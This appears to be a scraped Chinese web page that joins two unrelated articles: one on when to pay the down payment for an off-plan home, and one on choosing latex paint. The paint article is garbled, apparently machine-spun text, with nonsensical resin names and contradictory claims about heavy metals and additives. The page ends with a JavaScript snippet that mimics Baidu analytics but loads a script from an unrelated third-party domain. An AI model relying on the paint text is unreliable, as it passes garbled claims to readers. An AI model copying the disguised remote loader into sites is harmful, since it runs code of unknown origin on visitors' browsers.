买期房什么时候交首付 购置注意事项解答

所谓期房也就是尚且没有建造完全的房子，因此在购置期房的时候，相对应的我们支付的成本费用可能会比较低，但是其它方面也有许多值得注意的事项。而且在一些贷款方面的问题也需要着重进行特别的对待，比如今天小编为大家揭秘的就是关于购买期房过程中首付的支付时间问题，具体包括注意事项的解答以及从购置者角度入手给出的建议，有兴趣了解的朋友不妨参考下文所述一起来详细细致分析一下吧，相信借此可以帮助我们收获到令人满意的效果。一、买期房什么时候交首付习惯上把在建的、尚未完成建设的、不能交付使用的房屋称为期房。1、一般缴纳定金认购开发商的物业，并签订“认购协议书”后7天内缴纳首期房款，同时签订《商品房买卖合同》，此时，认购协议作废。首付款比例：一般而言首套房购买者，可以根据个人经济实力，选择首付款的最低比例或者更高，一般首付是全款的20%-30%等等，如果在首付压力较大的时候，可以选择最低比例缴纳，余款通过公积金贷款或者商业贷款来补充。2、缴纳月供：贷款后，等到银行放款，则从放款日起开始每月缴纳月供，月供缴纳数量公积金贷款是可以调整的，找到相应的电话，提前一个月更改，下个月的缴纳数额。月供与银行利率相关，记得每年年初根据利率合理调整月供数量。二、买期房的优点1、由于先期就购买，利于选择户型和位置。买的是未竣工的房子，销售工作刚刚展开，一般开发商所能提供的较多的房源，朝向好的户型也在其中，购房者就有了大量的选择余地。2、买期房贷款最多可以达房价的70%。3、期房的价格一般比现房价格优惠，房地产开发商对于一个房屋的开发一般需要二至三年的时间，甚至更长。为了及时收回资金，增加资金利用率和减少资金压力，在销售期房时让利。正因为一般期房比现房便宜，所以很多“炒楼族”一般是买期房，卖现房，从中渔利。三、买期房的缺点1、期房合同上写明的开发商哪一天交房，但是有的开发商往往逾期不能交房。不管是开发商原来有意欺骗或其他客观原因，都给买房者带来不利。2、开发商前期过度炒作理念或带有欺骗性所带来的严重恶果，购房者买房时看了模型，其中绿地、景观、整体规划、户型等各方面都觉得较理想，可等全部完工后再看，拿到手的房子和原来开发商介绍房地产投资和楼书上介绍的有很大差别。3、开发商如在交房前倒闭，购房者会是较大经济受害者，这种情况在90年代后半期我国许多城市时有发生。四、期房购买流程看房选房→认购→签订合同(商品房预售合同)→合同备案→申请贷款→办理保险→收房入住→办理房产证买期房的时候，我们应该注意许多方面的问题，而且因为期房相对于成品的房子而言有一定的特殊性，所以在首付的支付时间问题等等方面也需要提前和对方进行确认，从而最大程度上保障自己的财产免受损失。除此之外，参考类似上文之类的专业人士角度给出的建议的分析也是比较关键的，小编认为这些知识可以帮助我们避免许多方面的问题和麻烦，尽可能将费用和成本降到最低，并且能够尽可能保障自己享受到令人满意的购置效果。

在购买刷乳胶漆的时候一定要注意什么呢

乳胶漆是一种水性涂料。原料是合成树脂乳液。加水后，加入各种添加剂，填料和颜料，就成了乳胶漆。它易于涂抹，干燥迅速，干燥后具有一定的耐水性，那么在购买刷乳胶漆的时候要注意什么呢。乳胶漆的保护壁的合成树脂表面主要是基于涂膜，这是通过水在合成树脂乳液中的缩合而形成的薄膜。更好的是购买刷乳胶漆，该乳液的含量越高，在形成更厚的合成树脂薄膜，并且是清洁的用户更有抵抗力。有许多种合成树脂，如纯C，苯乙烯，醋，醋和聚醋酸乙烯酯。不同原料的乳胶漆的性能略有不同。购买刷乳胶漆含有白色颜料的颜料可以保证乳胶漆的纯度。白色，如立德粉，二氧化钛，氧化锌等所有白色颜料均为无机颜料，稳定，耐光，不易褪色。购买刷乳胶漆二氧化钛是一种二氧化钛，是最常见的无机颜料。二氧化钛含量越高，乳胶漆的遮盖力越大。作为有色颜料的着色糊剂分为有机颜料和无机颜料。有机颜料是光明和美好，但颜色丰富，但稳定性差，容易褪色，所以乳胶漆是白色涂料厂（也叫漆基），购买刷乳胶漆添加色浆后；无机颜料是金属，耐久性稍好，但颜色不明亮，颜色的选择也小，主要是黄，氧化铁红等。劣质涂料可以克服重金属，彩色涂料必须可靠。但是，有些人会在大堂，客厅和走廊里使用蛋壳和丝绸漆。购买刷乳胶漆时，您还应该注意什么？主要有两个方面：保护环境和绩效。生态乳胶漆是一种水性涂料；欧洲标准比国家标准要求更高，因此每个人都渴望进口油漆。这些标记通常被印在产品的外包装，乳胶漆不像人造板，它会继续挥发甲醛。约15天后，在胶漆中释放甲醛后，将没有新的。购买刷乳胶漆性能每个品牌的乳胶漆都有不同的系列，抗甲醛，防污，擦洗，防潮，清洁口感等。大多数新装修的房屋将选择抗甲醛和清洁味道系列；如果房子是湿的，你可以选择防潮和防霉系列；进口涂料的覆盖率一般优于国产涂料；轻蛋壳，丝绸涂料耐污垢和摩擦性能高，哑光涂料相对较弱，应该知道，乳胶漆的许多功能是通过添加添加剂制成的。对于具有3,1,5和1合1功能的乳胶漆，只能说功能越多，添加的添加剂越多。保护环境越差。良好的乳胶漆是环境和功能协调的结果。那么以上呢就是一些购买刷乳胶漆的注意事项了，大家都可以参照来购买。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();